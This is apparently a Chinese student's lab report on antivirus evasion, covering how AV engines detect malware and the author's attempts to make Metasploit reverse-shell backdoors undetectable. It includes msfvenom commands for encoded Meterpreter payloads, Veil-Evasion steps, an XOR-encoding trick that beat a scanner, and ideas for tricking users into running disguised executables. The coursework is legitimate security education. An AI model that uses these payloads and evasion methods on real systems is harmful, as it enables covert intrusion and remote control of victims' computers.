20155201 网络攻防技术 实验三 免杀原理与实践

20155201 网络攻防技术 实验三 免杀原理与实践

一、实践内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、报告内容:

1. 基础问题回答

1. 杀软是如何检测出恶意代码的?
  • 基于特征码的检测:
    杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
  • 启发式恶意软件的检测:
    将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。
  • 基于行为的恶意软件检测:
    在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
2. 免杀是做什么?

“免杀”的杀是指杀毒软件、病毒搜索检测引擎等,“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测,进入系统。

3. 免杀的基本方法有哪些?
  • 改变特征码
    • 对exe可执行文件加壳:压缩壳 加密壳
    • 用encode对shellcode进行编码,或者基于payload重新编译生成可执行文件
    • 将源代码用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
    • 操作模式:基于内存操作。减少对系统的修改,加入混淆作用的正常功能代码
  • 其他方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 手写一个恶意软件

2. 实践总结与体会

通过这次实验可以了解到,实现免杀的技术真的很多很多,模板之类的数不胜数不说,还有很多大牛可以手工编译,瞬间感觉这次试验只是一个幼儿园小朋友的尝试……体验过才是真的拥有了经验,当别人问我免杀是什么,如何实现的时候,我可以清楚地告诉他我尝试过的方法,哪些失败哪些成功,这也是一种收获……

3. 离实战还缺些什么技术或步骤?

感觉最缺的是一个……脚本?怎样把生成的exe放到想要攻击的电脑上?又如何让电脑主人或者电脑自己乖乖运行我的exe
现在想到的是通过U盘,伪装成某软件的安装程序setup.exe,不过上过这个课的同学谁还会随便运行一个exe啊……

4. 实践过程记录

a. 使用msf生成后门程序的检测

  • 首先对上次实验msf生成的backdoor.exe进行扫描,放到Virscan上扫描一下
  • 可以看出暴露度还是比较高的
  • 尝试使用msf多编码几次,看一下是否有变化:
  • 对了,先说一句,我是先安装的veil-evasion,在做的这一步,结果gg,全都是泡沫,建议大家先做这一步,再下载安装evasion,不然没快照过怕是要哭。
    编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.5(Kali IP) LPORT=5201 -f exe > met-encoded.exe

编码10次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.5(Kali IP) LPORT=5201 -f exe > met-encoded.exe


  • 编码次数再多,也没什么实质性的变化,shikata_ga_nai总会有解码`部分需要加入的exe中,人家进行特征查杀你就gg了。

b. 使用veil-evasion生成后门程序的检测

  • 在Kali终端中使用sudo apt-get install veil安装(安装很慢,容易error,且行且珍惜)
  • 安装完成后继续安装Veil-Evasion
  • 后面好像是在安装python?但是好像出过错
  • 安装完成后,在终端中使用veil命令进入应用,输入use evasion进入veil-evasion
  • 输入use python/meterpreter/rev_tcp.py,然后设置回连IP和端口,生成后门文件:
  • 选择1
  • 没生成可执行文件的我很绝望很伤心,然后我发现我不是一个人…还有几个同学选择Python语言没生成可执行文件…所谓的迟到的时候最想见到的是另一个迟到的同学,我又燃起了生活的希望……换了个语言
  • use c/meterpreter/rev_tcp.py
  • 后面一样,然后生成了可执行文件
  • 放到网站上扫描一下,
  • 然后往win7里使劲一拖……没了
  • 原来是被隔离了
  • 尝试回连,成功

c. 利用shellcode编程实现免杀

  • 使用msf生成一个C语言格式的shellcode
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.5 LPORT=5201 -f c
  • 尝试交叉编译,结果gg……编译完无法运行

  • 在win7中下载Visual Studio2017
  • tips:win7也是可以好好运行VS2017的,需要你的win7是SP1版本,(版本可以右击计算机属性查看),然后还需要你下载net framework4.5,这个去微软官网可以下载,其他要求参照VS官网发行说明-系统要求即可。
  • 双击安装程序,选择桌面C++开发,安装……从此以后我的win7虚拟机拥有了一个编译器。
  • 把shellcode写成c文件,编译生成的exe文件在Debug文件夹里
  • 尝试回连

d. 组合应用技术实现恶意代码免杀

为了实现免杀,我和室友和小组成员试了很多方法……最后大家都找到了自己的方法…………而我实现的最晚…………不过好在还是成功了,这里列出尝试过的方法
1. msf+https服务……被腾讯预言家查杀 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=10.211.55.5 -f c
2. Veil C语言exe+压缩壳 这个室友成功了,我试了一下压缩完查杀率更高嘻嘻
3. Veil python源代码+py2exe
在kali中使用veil的python模板生成不了exe,我记得安装过程中好像是python哪里出了错;换一下方法,还是python模板,generate之后选择2 py2exe,然后把setup.py,runme.bat,test.py拷到win7里面,在python 官网下载3.5.0版本的python,记得选择添加python到PATH,然后在命令行里使用pip install py2exe安装其他模块,然后python setup.py py2exe就能生成exe了,室友win10亲测完美,我么……反正不行
我编译完的exe又是有错的为什么QAQ
4. shellcode Vs编译+压缩壳
压缩完爆率更高哦~
5. 尝试veil其他模板的可执行文件
试了cs?我其实也不知这是啥,但是确实有exe生成,然而会被查杀

下面!是本人!成功实现免杀的方法!(再也不爱压缩了)
shellcode异或!高亮&加粗!!
我看到上一届的学长学姐基本都是异或、逆序之类的,其他方法都died了,不如就试试这个吧……
我是用Xcode写了个程序把shellcode每一字节跟0x52异或,然后再回到win7 Vs,main函数里再把它异或回去,修改一些地方(不让贴代码,其他方法都失败了的可怜朋友们可以问我)然后编译……生成exe,尝试回连:

放到网站上扫描一下

腾讯管家木马查杀:啊朋友再见,啊朋友再见,啊朋友再见吧再见吧再见吧

终于实现了免杀TAT。本次实验结束……

posted @ 2018-04-06 15:22 二十八 阅读(...) 评论(...) 编辑 收藏